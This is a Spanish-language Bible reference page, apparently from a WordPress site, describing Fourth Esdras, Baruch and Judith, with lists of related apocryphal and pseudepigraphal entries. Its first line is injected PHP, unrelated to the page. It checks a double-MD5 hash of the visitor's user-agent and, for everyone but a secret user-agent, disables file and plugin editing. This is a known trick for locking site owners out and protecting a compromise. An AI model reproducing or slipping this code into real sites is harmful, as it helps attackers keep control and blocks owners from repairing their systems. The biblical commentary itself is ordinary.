if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Nabucodonosor – Texto Bíblico

Cuarto de Esdras

Los Seudoepigráficos

Cuarto de Esdras

Segundo de Esdras

Tercero de Esdras

Cuarto de Esdras es una obra apocalíptica (se cree que fue escrito a fines del siglo I d. C.) que figura como apéndice en algunas ediciones de la Biblia. Al igual que con Primero de Esdras, existe cierta confusión acerca de la numeración de este libro. En la Vulgata aparece como Cuarto de Esdras; en las versiones eslavas y rusas, como Tercero de Esdras (cuando, como en el griego, Esdras y Nehemías son considerados un solo libro). Algunos manuscritos latinos primitivos lo llamaron 3 Esdras. Jerónimo y los manuscritos latinos medievales lo llamaron de 4 Esdras.  Este texto es a veces también conocido como “Apocalipsis de Esdras” (capítulos 3-14 conocidos como el “Apocalipsis judío de Esdras” o “4 Esdras”, capítulos 1-2 como “5 Esdras”, y los capítulos 15-16 como “Esdras 6”).

Una vez que 1 y 2 Esdras de Jerónimo se llama Esdras y Nehemías en tiempos más recientes, la designación 2 Esdras llegó a ser común en Biblias inglesas.

Para favorecer las creencias fundamentales del judaísmo, el autor de Cuarto de Esdras presenta un concepto escatológico de Dios. Dios es uno y único; no tiene instrumentos intermediarios; únicamente él es el juez final. Los israelitas son una raza elegida, y la ley es una dádiva especial para ellos después de haber sido rechazada por otros mundos. Como el amor de Dios por Israel excede a su amor por cualquier otro pueblo, los israelitas son sus verdaderos representantes para la humanidad.

Esta obra apocalíptica tiene una historia literaria complicada.  Las versiones orientales en que nos ha llegado (siríaca, etiópica, armenia, georgiana y dos en árabe) sólo registran los capítulos 3-14.  Estos abarcan probablemente la obra judía inicial, compuesta a fines del siglo I d.C.  Sólo las versiones latinas contienen el prefacio (caps. 1 y 2) y la conclusión (caps. 15 y 16), que los eruditos creen que son de origen cristiano, tal vez de los siglos II y III d.C., respectivamente.  En 1:30, por ejemplo, el pasaje parece claramente tomado de Mateo 23:37, y el texto de 1:37 es comparable con Juan 20:29. El concepto del rechazo de los judíos como pueblo de Dios y el llamado a los gentiles refleja definidamente un punto de vista cristiano (1:24, 25, 35-40; 2:10, 11, 34). 

Los capítulos 3-14 son de un supuesto Apocalipsis de Salatiel, identificado con Esdras (AS-E).  Se cree que esta parte del libro quizá fue escrito en hebreo, en algún momento próximo al fin del siglo I d.C., y que se lo llamó Esdras para que fuera aceptado por el judaísmo rabínico de la época. El AS-E contiene 7 visiones que intentan develar el futuro y dar respuesta a ciertas facetas del problema del trato de Dios con su pueblo.  El autor usa un simbolismo complicado, especialmente en las visiones de la mujer de luto (9:26-10:59), el águila de 3 cabezas (con 12 alas grandes y 8 alas menores; 11:1-12:39) y del hombre que surge del mar (13:1-56).  El cap. 14 presenta un informe ficticio de la restauración de los libros sagrados que, según dice, Nabucodonosor había quemado, y afirma que Esdras dictó, por inspiración divina, a 5 secretarios el contenido de los 24 libros del Antiguo Testamento y 70 apocalipsis.  En las versiones orientales, la historia culmina con la asunción de Esdras.  Los caps. 15 y 16 se hacen eco de algunos episodios del Nuevo Testamento. Cuarto de Esdras no es aceptado como canónico ni por católicos ni por protestantes.

——————

Enlaces:

Bible Gateway – NRSV

Seudoepigráficos

Introducción
Tercero de los Macabeos
Cuarto de los Macabeos
Jubileos
Primero de Enoc (Enoc Etiópico)
Segundo de Enoc (Enoc eslavo)
Segundo de Baruc
Tercero de Baruc
Cuarto de Esdras
Testamentos de los doce patriarcas
Oráculos sibilinos
La asunción de Moisés
Carta de Aristeas
Libro de Adán y Eva
Martirio de Isaías
Pirqe Aboth (Dichos de los padres)
Salmos de Salomón
El relato de Ahikar

—–

Baruc

Los Apócrifos

Baruc

Este libro apócrifo declara que fue escrito por Baruc, el secretario de Jeremías (Jeremías 36:4). El ambiente histórico del libro de Baruc corresponde con la Babilonia del cautiverio, y comienza con una carta enviada por los judíos cautivos a sus parientes que quedaron en Palestina después de la destrucción de Jerusalén. La mayor parte del libro consiste en una confesión de los pecados de ellos, una súplica de perdón, un reconocimiento de la sabiduría de Dios y un recuerdo de sus promesas de restauración. La obra está escrita parte en prosa y parte en verso.

Parece que contiene una inexactitud histórica, pues ordena a los judíos que oren “por la vida de Nabucodonosor, rey de Babilonia, y por la vida de su hijo Baltasar [Belsasar]” (cap. 1:11, BJ), lo cual significa que Belsasar era príncipe heredero cerca del tiempo cuando Jerusalén fue destruida en el año 586 a. C. La arqueología ha demostrado sin lugar a dudas que sólo en una fecha posterior en varias décadas a 586 a. C. pudo Belsasar haber sido considerado príncipe heredero.

Los eruditos no católicos sostienen, por regla general, que el libro de Baruc fue escrito después de la destrucción de Jerusalén en el año 70 d. C. para reanimar a los desolados y exiliados judíos de ese tiempo, y para recordarles la resignación y fidelidad de sus antepasados en el cautiverio babilónico.

—————-

Enlaces externos:

Jewish Encyclopedia, “Baruch, Book of”.

Early Jewish Writings: Baruch

Revised Standard Version (RSV) 

King James Version of Baruch

Harper’s Bible Dictionary: Baruch

Book of Baruch

Biblia de Jerusalén, Edición 1975

—–

Judit

Los Apócrifos

Judit

El libro apócrifo de Judit es un emocionante romance religioso que deriva su nombre de la heroína, una viuda judía, rica y hermosa. Fue escrito originalmente en hebreo aproximadamente en 150 a.C.

Cuenta acerca del rey asirio Nabucodonosor – completamente desconocido para la historia, quien, según se dice, reina sobre Nínive – quien derrota a Arfaxad, rey de los medos en Ecbatana.

Luego envía a su comandante en jefe, Holofernes, para castigar a los judíos, único pueblo que se atreve a desafiarlo en el oeste al rehusar prestarle ayuda en la conquista de los medos. De acuerdo con el libro, recientemente habían regresado de su cautividad.

Cuando Holofernes sitia la ciudad de Betulia, Judit se propuso liberar la ciudad. Entró en el campamento de Holofernes, ganó su confianza haciéndole creer que era una refugiada que huía de los judíos y que le comunicaría el secreto para vencerlos. Pero después de un banquete en el que se embriagó Holofernes, ella entró en su dormitorio y le cortó la cabeza con su propia espada.

Esto animó tanto a los judíos que hicieron huir a los asirios en fuga desordenada.

(Los eruditos no católicos por lo general sitúan la redacción de Judit en Palestina, a mediados del siglo II a. C., y consideran que este libro es un relato patriótico pero novelesco que tuvo el propósito de despertar el fervor nacionalista durante las guerras de los Macabeos contra Antíoco Epífanes).

—–

Apócrifos – Introducción
Primero de Esdras
Tobías
Judit
Añadiduras a Ester
Sabiduría
Eclesiástico
Baruc
Epístola de Jeremías
Añadiduras a Daniel
Oración de Manasés
Primero de los Macabeos
Segundo de los Macabeos

—–